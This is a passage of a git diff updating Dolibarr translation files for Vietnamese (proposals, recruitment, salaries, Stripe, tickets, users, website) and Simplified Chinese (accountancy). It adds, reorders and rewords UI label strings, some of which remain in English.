+ExportAccountingReportButtonLabel=Get report diff --git a/htdocs/langs/vi_VN/propal.lang b/htdocs/langs/vi_VN/propal.lang index 9f6c18b9e4f..fef81544d68 100644 --- a/htdocs/langs/vi_VN/propal.lang +++ b/htdocs/langs/vi_VN/propal.lang @@ -54,6 +54,7 @@ NoDraftProposals=Không có đề xuất dự thảo CopyPropalFrom=Tạo đơn hàng đề xuất bằng cách sao chép đề nghị hiện tại CreateEmptyPropal=Tạo đề xuất thương mại trống hoặc từ danh sách các sản phẩm/ dịch vụ DefaultProposalDurationValidity=Thời gian hiệu lực mặc định của đơn hàng đề xuất (theo ngày) +DefaultPuttingPricesUpToDate=By default update prices with current known prices on cloning a proposal UseCustomerContactAsPropalRecipientIfExist=Sử dụng liên hệ / địa chỉ với loại 'liên hệ theo dõi đề xuất' nếu được xác định thay vì địa chỉ bên thứ ba làm địa chỉ người nhận đề xuất ConfirmClonePropal=Bạn có chắc chắn muốn nhân bản đề xuất thương mại %s ? ConfirmReOpenProp=Bạn có chắc chắn muốn mở lại đề xuất thương mại %s ? @@ -64,36 +65,54 @@ AvailabilityPeriod=Độ chậm trễ có thể SetAvailability=Chỉnh thời gian trì hoãn sẵn có AfterOrder=sau đơn hàng OtherProposals=Các đơn hàng đề xuất khác + ##### Availability ##### AvailabilityTypeAV_NOW=Ngay lập tức AvailabilityTypeAV_1W=1 tuần AvailabilityTypeAV_2W=2 tuần AvailabilityTypeAV_3W=3 tuần AvailabilityTypeAV_1M=1 tháng -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Đại diện kinh doanh theo dõi đơn hàng đề xuất TypeContact_propal_external_BILLING=Liên lạc khách hàng về hóa đơn TypeContact_propal_external_CUSTOMER=Liên hệ với khách hàng sau-up đề nghị TypeContact_propal_external_SHIPPING=Liên lạc khách hàng để giao hàng + # Document models -DocModelAzurDescription=Mẫu hoàn chỉnh của báo giá (mẫu cũ của Cyan) -DocModelCyanDescription=Mẫu hoàn chỉnh của báo giá +CantBeNoSign=cannot be set not signed +CaseFollowedBy=Theo bởi trường hợp +ConfirmMassNoSignature=Bulk Not signed confirmation +ConfirmMassNoSignatureQuestion=Are you sure you want to set not signed the selected records ? +ConfirmMassSignature=Bulk Signature confirmation +ConfirmMassSignatureQuestion=Are you sure you want to sign the selected records ? +ConfirmMassValidation=Bulk Validate confirmation +ConfirmMassValidationQuestion=Are you sure you want to validate the selected records ? +ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +ContractSigned=Contract signed +DefaultModelPropalClosed=Mặc định mẫu khi đóng cửa một đề xuất kinh doanh (chưa lập hoá đơn) DefaultModelPropalCreate=Tạo mô hình mặc định DefaultModelPropalToBill=Mặc định mẫu khi đóng cửa một đề xuất kinh doanh (được lập hoá đơn) -DefaultModelPropalClosed=Mặc định mẫu khi đóng cửa một đề xuất kinh doanh (chưa lập hoá đơn) +DocModelAzurDescription=Mẫu hoàn chỉnh của báo giá (mẫu cũ của Cyan) +DocModelCyanDescription=Mẫu hoàn chỉnh của báo giá +FichinterSigned=Intervention signed +IdProduct=Product ID +IdProposal=Proposal ID +IsNotADraft=is not a draft +LineBuyPriceHT=Buy Price Amount net of tax for line +NoSign=Từ chối +NoSigned=set not signed +PassedInOpenStatus=has been validated +PropalAlreadyRefused=Proposal already refused +PropalAlreadySigned=Proposal already accepted +PropalRefused=Proposal refused +PropalSigned=Proposal accepted ProposalCustomerSignature=Văn bản chấp nhận, dấu công ty, ngày và chữ ký ProposalsStatisticsSuppliers=Thống kê đề xuất nhà cung cấp -CaseFollowedBy=Theo bởi trường hợp -SignedOnly=Signed only -IdProposal=Proposal ID -IdProduct=Product ID -PrParentLine=Proposal Parent Line -LineBuyPriceHT=Buy Price Amount net of tax for line -SignPropal=Accept proposal RefusePropal=Refuse proposal Sign=Sign -PropalAlreadySigned=Proposal already accepted -PropalAlreadyRefused=Proposal already refused -PropalSigned=Proposal accepted -PropalRefused=Proposal refused -ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? +SignContract=Sign contract +SignFichinter=Sign intervention +SignPropal=Accept proposal +Signed=signed +SignedOnly=Signed only diff --git a/htdocs/langs/vi_VN/recruitment.lang b/htdocs/langs/vi_VN/recruitment.lang index c1d145f9b0a..e6f3a651a40 100644 --- a/htdocs/langs/vi_VN/recruitment.lang +++ b/htdocs/langs/vi_VN/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=Email recruiter ToUseAGenericEmail=To use a generic email. If not defined, the email of the responsible of recruitment will be used NewCandidature=New application ListOfCandidatures=List of applications -RequestedRemuneration=Requested remuneration -ProposedRemuneration=Proposed remuneration +Remuneration=Mức lương +RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=Contract proposed ContractSigned=Contract signed ContractRefused=Contract refused RecruitmentCandidature=Application JobPositions=Job positions RecruitmentCandidatures=Applications -InterviewToDo=Interview to do +InterviewToDo=Contacts to follow AnswerCandidature=Application answer YourCandidature=Your application YourCandidatureAnswerMessage=Thanks you for your application.
      ... @@ -74,3 +75,5 @@ JobClosedTextCanceled=The job position is closed. ExtrafieldsJobPosition=Complementary attributes (job positions) ExtrafieldsApplication=Complementary attributes (job applications) MakeOffer=Make an offer +WeAreRecruiting=We are recruiting. This is a list of open positions to be filled... +NoPositionOpen=No positions open at the moment diff --git a/htdocs/langs/vi_VN/salaries.lang b/htdocs/langs/vi_VN/salaries.lang index da0535ce0e9..1f4b418f2a5 100644 --- a/htdocs/langs/vi_VN/salaries.lang +++ b/htdocs/langs/vi_VN/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Tài khoản kế toán được sử dụng cho bên thứ ba của người dùng -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Tài khoản kế toán chuyên dụng được xác định trên thẻ người dùng sẽ chỉ được sử dụng cho kế toán Sổ phụ. Tài khoản này sẽ được sử dụng cho Sổ cái chung và là giá trị mặc định của kế toán Sổ phụ nếu tài khoản kế toán chuyên dụng trên người dùng không được xác định. +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Account (from the Chart of Account) used by default for "user" third parties +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Tài khoản kế toán theo mặc định cho các khoản thanh toán tiền lương CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=By default, leave empty the option "Automatically create a total payment" when creating a Salary Salary=Mức lương @@ -24,3 +24,4 @@ SalariesStatistics=Thống kê lương SalariesAndPayments=Lương và thanh toán ConfirmDeleteSalaryPayment=Do you want to delete this salary payment ? FillFieldFirst=Fill employee field first +UpdateAmountWithLastSalary=Set amount with last salary diff --git a/htdocs/langs/vi_VN/stripe.lang b/htdocs/langs/vi_VN/stripe.lang index 3996aa89a2a..11a6b7c8515 100644 --- a/htdocs/langs/vi_VN/stripe.lang +++ b/htdocs/langs/vi_VN/stripe.lang @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=Khóa trực tiếp trên web ONLINE_PAYMENT_WAREHOUSE=Tồn kho để sử dụng để giảm tồn kho khi thanh toán trực tuyến được thực hiện
      (TODO Khi tùy chọn giảm tồn kho được thực hiện trên một hành động trên hóa đơn và thanh toán trực tuyến tự tạo hóa đơn?) StripeLiveEnabled=Stripe trực tiếp được kích hoạt (nếu không là chế độ kiểm tra / hộp cát) StripeImportPayment=Nhập dữ liệu thanh toán Stripe -ExampleOfTestCreditCard=Ví dụ về thẻ tín dụng để kiểm tra: %s => hợp lệ, %s => lỗi CVC, %s => đã hết hạn, %s => thu phí không thành công +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +ExampleOfTestBankAcountForSEPA=Example of bank account BAN for direct debit test: %s StripeGateways=Cổng Stripe OAUTH_STRIPE_TEST_ID=ID khách hàng kết nối Stripe (ca _...) OAUTH_STRIPE_LIVE_ID=ID khách hàng kết nối Stripe (ca _...) @@ -61,6 +62,7 @@ DeleteACard=Xóa thẻ ConfirmDeleteCard=Bạn có chắc chắn muốn xóa thẻ Tín dụng hoặc Thẻ ghi nợ này không? CreateCustomerOnStripe=Tạo khách hàng trên Stripe CreateCardOnStripe=Tạo thẻ trên Stripe +CreateBANOnStripe=Create bank on Stripe ShowInStripe=Hiển thị trong Stripe StripeUserAccountForActions=Tài khoản người dùng sử dụng để thông báo qua email về một số sự kiện Stripe (Xuất chi Stripe) StripePayoutList=Danh sách các khoản xuất chi của Stripe @@ -69,3 +71,8 @@ ToOfferALinkForLiveWebhook=Liên kết để thiết lập Stripe WebHook để PaymentWillBeRecordedForNextPeriod=Thanh toán sẽ được ghi lại cho giai đoạn tiếp theo. ClickHereToTryAgain=Bấm vào đây để thử lại... CreationOfPaymentModeMustBeDoneFromStripeInterface=Due to Strong Customer Authentication rules, creation of a card must be done from Stripe backoffice. You can click here to switch on Stripe customer record: %s +STRIPE_CARD_PRESENT=Card Present for Stripe Terminals +TERMINAL_LOCATION=Location (address) for Stripe Terminals +RequestDirectDebitWithStripe=Request Direct Debit with Stripe +STRIPE_SEPA_DIRECT_DEBIT=Enable the Direct Debit payments through Stripe + diff --git a/htdocs/langs/vi_VN/ticket.lang b/htdocs/langs/vi_VN/ticket.lang index 9ca803d425d..b60bcda3869 100644 --- a/htdocs/langs/vi_VN/ticket.lang +++ b/htdocs/langs/vi_VN/ticket.lang @@ -26,7 +26,9 @@ Permission56002=Sửa đổi vé Permission56003=Xóa vé Permission56004=Quản lý vé Permission56005=Xem vé của tất cả các bên thứ ba (không hiệu quả đối với người dùng bên ngoài, luôn bị giới hạn ở bên thứ ba mà họ phụ thuộc) +Permission56006=Export tickets +Tickets=Vé TicketDictType=Vé - Các loại TicketDictCategory=Vé - Nhóm TicketDictSeverity=Vé - Mức độ nghiêm trọng @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=Người cộng tác bên ngoài OriginEmail=Reporter Email Notify_TICKET_SENTBYMAIL=Gửi tin nhắn vé qua email +ExportDataset_ticket_1=Vé + # Status Read=Đọc Assigned=Phân công @@ -90,8 +94,8 @@ TicketPublicAccess=Giao diện công cộng không yêu cầu nhận dạng có TicketSetupDictionaries=Loại vé, mức độ nghiêm trọng và mã phân tích có thể được cấu hình từ từ điển TicketParamModule=Thiết lập biến thể mô-đun TicketParamMail=Thiết lập email -TicketEmailNotificationFrom=Sender e-mail for ticket answers -TicketEmailNotificationFromHelp=Sender e-mail for ticket answers sent from Dolibarr +TicketEmailNotificationFrom=Sender e-mail for notification on answers +TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com TicketEmailNotificationTo=Notify ticket creation to this e-mail address TicketEmailNotificationToHelp=If present, this e-mail address will be notified of a ticket creation TicketNewEmailBodyLabel=Thông điệp văn bản được gửi sau khi tạo vé @@ -99,6 +103,8 @@ TicketNewEmailBodyHelp=Văn bản được chỉ định ở đây sẽ được TicketParamPublicInterface=Thiết lập giao diện công cộng TicketsEmailMustExist=Yêu cầu một địa chỉ email hiện có để tạo vé TicketsEmailMustExistHelp=Trong giao diện công cộng, địa chỉ email đã được điền vào cơ sở dữ liệu để tạo một vé mới. +TicketCreateThirdPartyWithContactIfNotExist=Ask name and company name for unknown emails. +TicketCreateThirdPartyWithContactIfNotExistHelp=Check if a thirdparty or a contact exists for the email entered. If not, ask a name and a company name to create a third party with contact. PublicInterface=Giao diện công cộng TicketUrlPublicInterfaceLabelAdmin=URL thay thế cho giao diện công cộng TicketUrlPublicInterfaceHelpAdmin=Có thể xác định bí danh cho máy chủ web và do đó cung cấp giao diện công khai với một URL khác (máy chủ phải hoạt động như một proxy trên URL mới này) @@ -147,6 +153,8 @@ TicketsAutoNotifyCloseHelp=When closing a ticket, you will be proposed to send a TicketWrongContact=Provided contact is not part of current ticket contacts. Email not sent. TicketChooseProductCategory=Product category for ticket support TicketChooseProductCategoryHelp=Select the product category of ticket support. This will be used to automatically link a contract to a ticket. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. # # Index & list page @@ -190,8 +198,7 @@ TicketAssigned=Vé đã được chỉ định TicketChangeType=Đổi loại TicketChangeCategory=Thay đổi mã phân tích TicketChangeSeverity=Thay đổi mức độ nghiêm trọng -TicketAddMessage=Thêm thông điệp -AddMessage=Thêm thông điệp +TicketAddMessage=Add private message MessageSuccessfullyAdded=Đã thêm vé TicketMessageSuccessfullyAdded=Thông điệp đã được thêm thành công TicketMessagesList=Danh sách tin nhắn @@ -202,8 +209,8 @@ TicketSeverity=Mức độ nghiêm trọng ShowTicket=Xem vé RelatedTickets=Vé liên quan TicketAddIntervention=Tạo sự can thiệp -CloseTicket=Close|Solve ticket -AbandonTicket=Abandon ticket +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=Close|Solve a ticket ConfirmCloseAticket=Xác nhận đóng vé ConfirmAbandonTicket=Do you confirm the closing of the ticket to status 'Abandonned' @@ -217,18 +224,17 @@ SendMessageByEmail=Gửi tin nhắn qua email TicketNewMessage=Tin nhắn mới ErrorMailRecipientIsEmptyForSendTicketMessage=Người nhận trống rỗng. Không gửi email TicketGoIntoContactTab=Vui lòng vào tab "Danh bạ" để chọn chúng -TicketMessageMailIntro=Giới thiệu +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=Văn bản này chỉ được thêm vào lúc bắt đầu email và sẽ không được lưu. -TicketMessageMailIntroLabelAdmin=Introduction text to all ticket answers TicketMessageMailIntroText=Hello,
      A new answer has been added to a ticket that you follow. Here is the message:
      TicketMessageMailIntroHelpAdmin=This text will be inserted before the answer when replying to a ticket from Dolibarr -TicketMessageMailSignature=Chữ ký -TicketMessageMailSignatureHelp=Văn bản này chỉ được thêm vào cuối email và sẽ không được lưu. -TicketMessageMailSignatureText=Message sent by %s via Dolibarr -TicketMessageMailSignatureLabelAdmin=Chữ ký của email phản hồi -TicketMessageMailSignatureHelpAdmin=Văn bản này sẽ được chèn sau thông báo phản hồi. +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=Văn bản này sẽ được chèn sau thông báo phản hồi. TicketMessageHelp=Chỉ văn bản này sẽ được lưu trong danh sách tin nhắn trên thẻ vé. TicketMessageSubstitutionReplacedByGenericValues=Các biến thay thế được thay thế bằng các giá trị chung. +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=Thời gian trôi qua kể từ khi TicketTimeToRead=Thời gian trôi qua trước khi đọc TicketTimeElapsedBeforeSince=Time elapsed before / since @@ -239,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=Một tin nhắn mới đã được TicketAssignedToYou=Vé đã được chỉ định TicketAssignedEmailBody=Bạn đã được chỉ định vé # %s bởi %s MarkMessageAsPrivate=Đánh dấu tin nhắn là riêng tư +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=Thông điệp này sẽ không hiển thị cho người dùng bên ngoài TicketEmailOriginIssuer=Tổ chức phát hành gốc của vé InitialMessage=Tin nhắn khởi đầu @@ -294,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=Bạn có thể xem tiến trình của TicketCloseEmailBodyInfosTrackUrlCustomer=You can consult the history of this ticket by clicking the following link TicketEmailPleaseDoNotReplyToThisEmail=Xin đừng trả lời trực tiếp email này! Sử dụng liên kết để trả lời trong giao diện. TicketPublicInfoCreateTicket=Biểu mẫu này cho phép bạn ghi lại một vé hỗ trợ trong hệ thống quản lý của chúng tôi. -TicketPublicPleaseBeAccuratelyDescribe=Hãy mô tả chính xác vấn đề. Cung cấp hầu hết thông tin có thể để cho phép chúng tôi xác định chính xác yêu cầu của bạn. +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=Vui lòng nhập ID theo dõi vé TicketTrackId=ID theo dõi công khai OneOfTicketTrackId=Một trong những ID theo dõi của bạn diff --git a/htdocs/langs/vi_VN/users.lang b/htdocs/langs/vi_VN/users.lang index 7990ecc606c..f5687a68f5f 100644 --- a/htdocs/langs/vi_VN/users.lang +++ b/htdocs/langs/vi_VN/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Xóa khỏi nhóm PasswordChangedAndSentTo=Mật khẩu thay đổi và gửi đến %s. PasswordChangeRequest=Yêu cầu thay đổi mật khẩu cho %s PasswordChangeRequestSent=Yêu cầu thay đổi mật khẩu cho %s đã gửi đến % s. -IfLoginExistPasswordRequestSent=If this login is a valid account, an email to reset password has been sent. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=If this email is a valid account, an email to reset password has been sent. ConfirmPasswordReset=Xác nhận đặt lại mật khẩu MenuUsersAndGroups=Người dùng & Nhóm @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Link to user LinkedToDolibarrThirdParty=Link to third party CreateDolibarrLogin=Tạo một người dùng CreateDolibarrThirdParty=Tạo một bên thứ ba -LoginAccountDisableInDolibarr=Tài khoản bị vô hiệu hóa trong Dolibarr. +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=Dùng giá trị cá nhân -InternalUser=Người dùng bên trong ExportDataset_user_1=Người dùng và các tính chất của họ DomainUser=Domain người dùng %s Reactivate=Kích hoạt lại @@ -128,3 +128,8 @@ DateLastLogin=Date last login DatePreviousLogin=Date previous login IPLastLogin=IP last login IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/vi_VN/website.lang b/htdocs/langs/vi_VN/website.lang index def041bf053..25e7e021f06 100644 --- a/htdocs/langs/vi_VN/website.lang +++ b/htdocs/langs/vi_VN/website.lang @@ -1,5 +1,6 @@ # Dolibarr language file - Source file is en_US - website Shortname=Mã +WebsiteName=Name of the website WebsiteSetupDesc=Tạo ở đây các trang web bạn muốn sử dụng. Sau đó vào menu Trang web để chỉnh sửa chúng. DeleteWebsite=Xóa trang web ConfirmDeleteWebsite=Bạn có chắc chắn muốn xóa trang web này? Tất cả các trang và nội dung của nó cũng sẽ bị xóa. Các tệp được tải lên (như vào thư mục trung gian, mô-đun ECM, ...) sẽ vẫn còn. @@ -15,9 +16,9 @@ WEBSITE_HTML_HEADER=Bổ sung ở dưới cùng của Tiêu đề HTML (chung ch WEBSITE_ROBOT=Tệp robot (robot.txt) WEBSITE_HTACCESS=Trang web tệp .htaccess WEBSITE_MANIFEST_JSON=Trang web tệp manifest.json -WEBSITE_README=Tập tin README.md WEBSITE_KEYWORDSDesc=Use a comma to separate values -EnterHereLicenseInformation=Nhập vào đây dữ liệu meta hoặc thông tin giấy phép để lưu tệp README.md. nếu bạn phân phối trang web của mình dưới dạng mẫu, tệp sẽ được đưa vào gói mẫu. +EnterHereReadmeInformation=Enter here a description of the website. If you distribute your website as a template, the file will be included into the temptate package. +EnterHereLicenseInformation=Enter here the LICENSE of the code of the website. If you distribute your website as a template, the file will be included into the temptate package. HtmlHeaderPage=Tiêu đề HTML (chỉ dành riêng cho trang này) PageNameAliasHelp=Tên hoặc bí danh của trang.
      Bí danh này cũng được sử dụng để giả mạo SEO URL khi trang web được chạy từ máy chủ ảo của máy chủ Web (như Apacke, Nginx, ...). Sử dụng nút " %s " để chỉnh sửa bí danh này. EditTheWebSiteForACommonHeader=Lưu ý: Nếu bạn muốn xác định tiêu đề được cá nhân hóa cho tất cả các trang, hãy chỉnh sửa tiêu đề ở cấp trang thay vì trên trang / vùng chứa. @@ -42,10 +43,12 @@ ViewPageInNewTab=Xem trang trong tab mới SetAsHomePage=Đặt làm trang chủ RealURL=URL thật ViewWebsiteInProduction=Xem trang web bằng URL nhà +Virtualhost=Virtual host or domain name +VirtualhostDesc=The name of the Virtual host or domain (For example: www.mywebsite.com, mybigcompany.net, ...) SetHereVirtualHost=Use with Apache/NGinx/...
      Create on your web server (Apache, Nginx, ...) a dedicated Virtual Host with PHP enabled and a Root directory on
      %s ExampleToUseInApacheVirtualHostConfig=Example to use in Apache virtual host setup: YouCanAlsoTestWithPHPS=Sử dụng với máy chủ nhúng PHP
      Trên môi trường phát triển, bạn có thể muốn kiểm tra trang web với máy chủ web nhúng PHP (yêu cầu PHP 5.5) bằng cách chạy
      php -S 0.0.0.0:8080 -t %s -YouCanAlsoDeployToAnotherWHP=Chạy trang web của bạn với một nhà cung cấp Dolibarr Hosting khác
      Nếu bạn không có máy chủ web như Apache hoặc NGinx có sẵn trên internet, bạn có thể xuất và nhập trang web của mình vào một phiên bản Dolibarr khác được cung cấp bởi một nhà cung cấp dịch vụ lưu trữ Dolibarr khác cung cấp tích hợp đầy đủ với mô-đun Trang web. Bạn có thể tìm thấy danh sách một số nhà cung cấp dịch vụ lưu trữ Dolibarr trên https://saas.dolibarr.org +YouCanAlsoDeployToAnotherWHP=Run your web site with another Dolibarr Hosting provider
      If you don't have a web server like Apache or NGinx available on internet, you can export and import your web site onto another Dolibarr instance provided by another Dolibarr hosting provider that provide full integration with the Website module. You can find a list of some Dolibarr hosting providers on https://saas.dolibarr.org CheckVirtualHostPerms=Check also that the virtual host user (for example www-data) has %s permissions on files into
      %s ReadPerm=Đọc WritePerm=Viết @@ -60,7 +63,7 @@ YouCanEditHtmlSourceckeditor=Bạn có thể chỉnh sửa mã nguồn HTML bằ YouCanEditHtmlSource=
      You can include PHP code into this source using tags <?php ?>. The following global variables are available: $conf, $db, $mysoc, $user, $website, $websitepage, $weblangs, $pagelangs.

      You can also include content of another Page/Container with the following syntax:
      <?php includeContainer('alias_of_container_to_include'); ?>

      You can make a redirect to another Page/Container with the following syntax (Note: do not output any content before a redirect):
      <?php redirectToContainer('alias_of_container_to_redirect_to'); ?>

      To add a link to another page, use the syntax:
      <a href="alias_of_page_to_link_to.php">mylink<a>

      To include a link to download a file stored into the documents directory, use the document.php wrapper:
      Example, for a file into documents/ecm (need to be logged), syntax is:
      <a href="/document.php?modulepart=ecm&file=[relative_dir/]filename.ext">
      For a file into documents/medias (open directory for public access), syntax is:
      <a href="/document.php?modulepart=medias&file=[relative_dir/]filename.ext">
      For a file shared with a share link (open access using the sharing hash key of file), syntax is:
      <a href="/document.php?hashp=publicsharekeyoffile">

      To include an image stored into the documents directory, use the viewimage.php wrapper:
      Example, for an image into documents/medias (open directory for public access), syntax is:
      <img src="/viewimage.php?modulepart=medias&file=[relative_dir/]filename.ext">
      #YouCanEditHtmlSource2=
      To include a image shared publicaly, use the viewimage.php wrapper:
      Example with a shared key 123456789, syntax is:
      <img src="/viewimage.php?hashp=12345679012...">
      YouCanEditHtmlSource2=For an image shared with a share link (open access using the sharing hash key of file), syntax is:
      <img src="/viewimage.php?hashp=12345679012...">
      -YouCanEditHtmlSourceMore=
      More examples of HTML or dynamic code available on the wiki documentation
      . +YouCanEditHtmlSourceMore=
      More examples of HTML or dynamic code available on the wiki documentation
      . ClonePage=Nhân bản Trang / vùng chứa CloneSite=Nhân bản trang web SiteAdded=Đã thêm trang web @@ -137,7 +140,7 @@ PagesRegenerated=%s page(s)/container(s) regenerated RegenerateWebsiteContent=Regenerate web site cache files AllowedInFrames=Allowed in Frames DefineListOfAltLanguagesInWebsiteProperties=Define list of all available languages into web site properties. -GenerateSitemaps=Generate website sitemap file +GenerateSitemaps=Generate website sitemap.xml file ConfirmGenerateSitemaps=If you confirm, you will erase the existing sitemap file... ConfirmSitemapsCreation=Confirm sitemap generation SitemapGenerated=Sitemap file %s generated @@ -145,3 +148,10 @@ ImportFavicon=Favicon ErrorFaviconType=Favicon must be png ErrorFaviconSize=Favicon must be sized 16x16, 32x32 or 64x64 FaviconTooltip=Upload an image which needs to be a png (16x16, 32x32 or 64x64) +NextContainer=Next page/container +PreviousContainer=Previous page/container +WebsiteMustBeDisabled=The website must have the status "%s" +WebpageMustBeDisabled=The web page must have the status "%s" +SetWebsiteOnlineBefore=When website is offline, all pages are offline. Change status of website first. +Booking=Booking +Reservation=Reservation diff --git a/htdocs/langs/zh_CN/accountancy.lang b/htdocs/langs/zh_CN/accountancy.lang index 23c32bf2ecd..c9155162364 100644 --- a/htdocs/langs/zh_CN/accountancy.lang +++ b/htdocs/langs/zh_CN/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=选择运费类型 ACCOUNTING_EXPORT_PREFIX_SPEC=指定文件名前缀 ThisService=这项服务 ThisProduct=这个产品 -DefaultForService=默认服务 -DefaultForProduct=默认产品 +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=Product for this thirdparty ServiceForThisThirdparty=Service for this thirdparty CantSuggest=无法建议 @@ -48,8 +48,9 @@ CountriesNotInEEC=非欧共体国家 CountriesInEECExceptMe=欧共体国家除了%s CountriesExceptMe=除%s以外的所有国家/地区 AccountantFiles=Export source documents -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=To export your journals, use the menu entry %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=View by accounting account VueBySubAccountAccounting=View by accounting subaccount @@ -58,6 +59,7 @@ MainAccountForSuppliersNotDefined=未在设置中定义的供应商的主要会 MainAccountForUsersNotDefined=未在设置中定义的用户的主要会计科目 MainAccountForVatPaymentNotDefined=未在设置中定义的税款支付的主要会计科目 MainAccountForSubscriptionPaymentNotDefined=Main accounting account for subscription payment not defined in setup +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=会计区 AccountancyAreaDescIntro=会计模块的使用分几步完成: @@ -99,7 +101,8 @@ ShowAccountingAccount=显示会计科目 ShowAccountingJournal=显示会计日常报表 ShowAccountingAccountInLedger=Show accounting account in ledger ShowAccountingAccountInJournals=Show accounting account in journals -AccountAccountingSuggest=建议会计科目 +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=默认帐户 MenuBankAccounts=银行帐户 MenuVatAccounts=增值税账户 @@ -124,6 +127,7 @@ WriteBookKeeping=Record transactions in accounting Bookkeeping=分类帐 BookkeepingSubAccount=Subledger AccountBalance=账目平衡 +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=源对象引用 CAHTF=Total purchase vendor before tax TotalExpenseReport=总费用报告 @@ -161,42 +165,47 @@ BANK_DISABLE_DIRECT_INPUT=禁止在银行帐户中直接记录交易 ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=在日记帐上启用草稿导出 ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow if you have a lot of third parties, break ability to search on a part of value) ACCOUNTING_DATE_START_BINDING=Define a date to start binding & transfer in accountancy. Below this date, the transactions will not be transferred to accounting. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, select period show by default +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=销售日记帐 -ACCOUNTING_PURCHASE_JOURNAL=采购日记帐 -ACCOUNTING_MISCELLANEOUS_JOURNAL=杂项日记帐 +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=费用报表日记帐 -ACCOUNTING_SOCIAL_JOURNAL=社会日记帐 +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=有新的日常报表 +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=社会日记帐 ACCOUNTING_RESULT_PROFIT=Result accounting account (Profit) ACCOUNTING_RESULT_LOSS=Result accounting account (Loss) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Journal of closure -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Accounting account of transitional bank transfer +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Transitional bank transfer account -ACCOUNTING_ACCOUNT_SUSPENSE=会计科目-等待 -DONATION_ACCOUNTINGACCOUNT=会计科目-登记捐款 -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Accounting account to register subscriptions +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of 